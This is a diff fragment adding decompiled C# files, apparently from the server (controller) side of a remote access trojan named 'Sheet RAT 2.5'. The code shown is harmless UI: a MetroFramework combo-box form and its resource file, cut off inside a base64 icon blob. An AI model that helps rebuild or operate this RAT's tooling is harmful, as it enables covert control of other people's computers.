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 + + \ No newline at end of file diff --git a/Server/Server/Forms/ComboBoxCustom.cs b/Server/Server/Forms/ComboBoxCustom.cs new file mode 100644 index 0000000..90339e7 --- /dev/null +++ b/Server/Server/Forms/ComboBoxCustom.cs @@ -0,0 +1,99 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Forms.ComboBoxCustom +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using MetroFramework; +using MetroFramework.Controls; +using MetroFramework.Forms; +using Server.Helper.Configs.Themes; +using System; +using System.Windows.Forms; +using System.ComponentModel; +using System.Drawing; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Forms { + +public class ComboBoxCustom : MetroForm +{ + private IContainer components; + private MetroButton metroButton3; + private MetroComboBox comboBox1; + + public ComboBoxCustom() => this.InitializeComponent(); + + private void InputBoxCustom_Load(object sender, EventArgs e) + { + if (Customs.customs.Theme != MetroThemeStyle.Dark) + { + this.comboBox1.Theme = Customs.customs.Theme; + this.metroButton3.Theme = Customs.customs.Theme; + this.Theme = Customs.customs.Theme; + } + if (Customs.customs.Style != MetroColorStyle.Lime) + { + this.Style = Customs.customs.Style; + this.comboBox1.Style = Customs.customs.Style; + this.metroButton3.Style = Customs.customs.Style; + } + this.Refresh(); + } + + private void metroButton3_Click(object sender, EventArgs e) => this.Close(); + + protected override void Dispose(bool disposing) + { + if (disposing && this.components != null) + this.components.Dispose(); + base.Dispose(disposing); + } + + private void InitializeComponent() + { + ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ComboBoxCustom)); + this.metroButton3 = new MetroButton(); + this.comboBox1 = new MetroComboBox(); + this.SuspendLayout(); + this.metroButton3.Location = new Point(337, 92); + this.metroButton3.Name = "metroButton3"; + this.metroButton3.Size = new Size(64 /*0x40*/, 22); + this.metroButton3.Style = MetroColorStyle.Lime; + this.metroButton3.TabIndex = 174; + this.metroButton3.Text = "OK"; + this.metroButton3.Theme = MetroThemeStyle.Dark; + this.metroButton3.UseSelectable = true; + this.metroButton3.UseStyleColors = true; + this.metroButton3.Click += new EventHandler(this.metroButton3_Click); + this.comboBox1.Anchor = AnchorStyles.Top | AnchorStyles.Left | AnchorStyles.Right; + this.comboBox1.FontSize = MetroComboBoxSize.Small; + this.comboBox1.FormattingEnabled = true; + this.comboBox1.ItemHeight = 19; + this.comboBox1.Location = new Point(22, 62); + this.comboBox1.Margin = new Padding(2); + this.comboBox1.Name = "comboBox1"; + this.comboBox1.Size = new Size(380, 25); + this.comboBox1.Style = MetroColorStyle.Lime; + this.comboBox1.TabIndex = 175; + this.comboBox1.Theme = MetroThemeStyle.Dark; + this.comboBox1.UseSelectable = true; + this.comboBox1.UseStyleColors = true; + this.AutoScaleDimensions = new SizeF(6f, 13f); + this.AutoScaleMode = AutoScaleMode.Font; + this.ClientSize = new Size(424, 119); + this.Controls.Add((Control) this.comboBox1); + this.Controls.Add((Control) this.metroButton3); + this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon"); + this.Name = nameof (ComboBoxCustom); + this.Resizable = false; + this.Style = MetroColorStyle.Lime; + this.Text = nameof (ComboBoxCustom); + this.TextAlign = MetroFormTextAlign.Center; + this.Theme = MetroThemeStyle.Dark; + this.Load += new EventHandler(this.InputBoxCustom_Load); + this.ResumeLayout(false); + } +} +} diff --git a/Server/Server/Forms/ComboBoxCustom.resx b/Server/Server/Forms/ComboBoxCustom.resx new file mode 100644 index 0000000..a567bcf --- /dev/null +++ b/Server/Server/Forms/ComboBoxCustom.resx @@ -0,0 +1,123 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 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